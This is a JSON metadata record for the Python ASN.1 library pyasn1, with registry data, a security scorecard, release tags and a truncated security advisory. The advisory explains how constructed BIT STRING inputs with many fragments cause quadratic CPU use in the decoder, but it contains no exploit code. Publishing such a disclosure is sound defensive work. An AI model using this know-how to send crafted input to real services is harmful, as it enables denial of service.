{"id":2865248,"name":"pyasn1","ecosystem":"pypi","description":"Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":null,"versions_count":45,"first_release_published_at":"2023-08-22T10:12:53.277017Z","latest_release_published_at":"2026-10-27T06:32:48.000000Z","latest_release_number":"0.6.5","latest_published_release_number":"0.6.5","last_synced_at":"2026-11-20T02:22:13.973829Z","created_at":"2022-04-10T12:09:41.090980Z","updated_at":"2026-11-20T09:17:46.368920Z","registry_url":"https://pypi.org/project/pyasn1/","install_command":"pip install pyasn1 --index-url https://pypi.org/simple","documentation_url":"https://pyasn1.readthedocs.io","metadata":{"funding":null,"documentation":"https://pyasn1.readthedocs.io","classifiers":["Development Status :: 5 - Production/Stable","Environment :: Console","Intended Audience :: Developers","Intended Audience :: Education","Intended Audience :: Information Technology","Intended Audience :: System Administrators","Intended Audience :: Telecommunications Industry","Natural Language :: English","Operating System :: OS Independent","Programming Language :: Python :: 3","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: 3.8","Programming Language :: Python :: 3.9","Programming Language :: Python :: Implementation :: CPython","Programming Language :: Python :: Implementation :: PyPy","Topic :: Communications","Topic :: Software Development :: Libraries :: Python Modules"],"normalized_name":"pyasn1","project_status":null},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-10-27T06:42:06.000Z","size":1974,"stargazers_count":53,"open_issues_count":41,"forks_count":51,"subscribers_count":4,"default_branch":"main","last_synced_at":"2026-10-27T10:13:51.503Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-10-27T06:42:12.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"funding_links":["http://snmplabs.com/sponsorship.html"],"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":346510206,"owners_count":38561556,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-27T02:00:05.503Z","response_time":59,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-11-19T01:57:37.818Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":62,"followers":4,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-11-19T01:57:37.834Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests","release_url":null},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests","release_url":null},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests","release_url":null},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests","release_url":null},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests","release_url":null},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests","release_url":null},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests","release_url":null},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests","release_url":null},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests","release_url":null},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests","release_url":null},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests","release_url":null},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests","release_url":null},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests","release_url":null},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests","release_url":null},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests","release_url":null},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests","release_url":null},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests","release_url":null},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests","release_url":null},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests","release_url":null},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests","release_url":null}]},"repo_metadata_updated_at":"2026-11-20T02:22:14.272815Z","dependent_packages_count":553,"downloads":502999089,"downloads_period":"last-month","dependent_repos_count":94117,"rankings":{"downloads":0.004952247494988142,"dependent_repos_count":0.01247232702441458,"dependent_packages_count":0.04512047717655863,"stargazers_count":15.158646165584816,"forks_count":11.217941075591472,"docker_downloads_count":0.005135664068876592,"average":4.407377992823521},"purl":"pkg:pypi/pyasn1","advisories":[{"uuid":"GSA_kwCzR0hTQS0ycW04LXg3MzctZ213Nc4ACALO","url":"https://github.com/advisories/GHSA-2qm8-x737-gmw5","title":"pyasn1 has quadratic CPU consumption in constructed BIT STRING decoding","description":"## Summary\n\nIn pyasn1 through 0.6.4, decoding a constructed BIT STRING with many fragments repeatedly shifts and copies the entire value accumulated so far. For fixed-size fragments, CPU time grows quadratically with the encoded input size. An application that passes sufficiently large, attacker-controlled ASN.1 data to an affected decoder can suffer CPU exhaustion during `decode()`; no conversion or formatting of the decoded value is required.\n\nThe BER and CER decoders reach this path for constructed BIT STRING values, with or without an `asn1Spec`. The DER decoder rejects constructed BIT STRING in schema-less decoding, but its schema-driven path accepts a **definite-length** constructed BIT STRING when given a matching `asn1Spec` and reaches the same vulnerable code. Constructed BIT STRING is not valid DER; this DER exposure is due to decoder permissiveness. DER rejects the indefinite-length form.\n\nThis is a separate decoder path from the OBJECT IDENTIFIER accumulation fixed in [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj).\n\n## Technical details\n\nIn the 0.6.4 [`BitStringPayloadDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L173-L301), both the [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L237-L255) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L275-L301) fragment loops call `BitString.fromOctetString(..., prepend=bitString)` for every fragment. [`fromOctetString`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/type/univ.py#L614-L627) shifts the growing `SizedInteger` left by the fragment's bit length and ORs in the fragment. Shifting an ever-larger Python integer for each fixed-size fragment makes total work O(n²) for n fragments. The fragments are siblings, so the decoder's nesting-depth limit does not constrain their count; its limit on the number of length octets does not prevent the demonstrated inputs.\n\nIn 0.6.4, DER's [tag-driven map](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L15-L40) disables constructed BIT STRING, while its schema-driven type map retains the inherited decoder that permits it. This explains why a schema-less DER rejection is not a negative result for all DER decoding.\n\nUnder [X.690](https://www.itu.int/rec/T-REC-X.690-202102-I/en), a conforming CER constructed BIT STRING uses an indefinite-length outer encoding and primitive fragments with 1000 contents octets except possibly the last. That form reaches the affected indefinite-length loop. DER requires primitive string encoding, although the schema-driven pyasn1 decoder accepts the definite-length constructed example below.\n\n## Impact\n\nAn application is exposed when untrusted input can reach one of the affected decoder paths and its input limits admit enough fragments. The work occupies the decoding thread or worker and may cause denial of service. Whether the input is network-accessible or unauthenticated depends on the calling application. This advisory makes no claim that every application using pyasn1, or any particular protocol implementation, accepts such input.\n\n## Severity assessment (CVSS v3.1)\n\nThe 7.5 Base score assumes a reasonable application that automatically decodes attacker-supplied ASN.1 from unauthenticated network input. Valid BER and conforming CER values trigger the 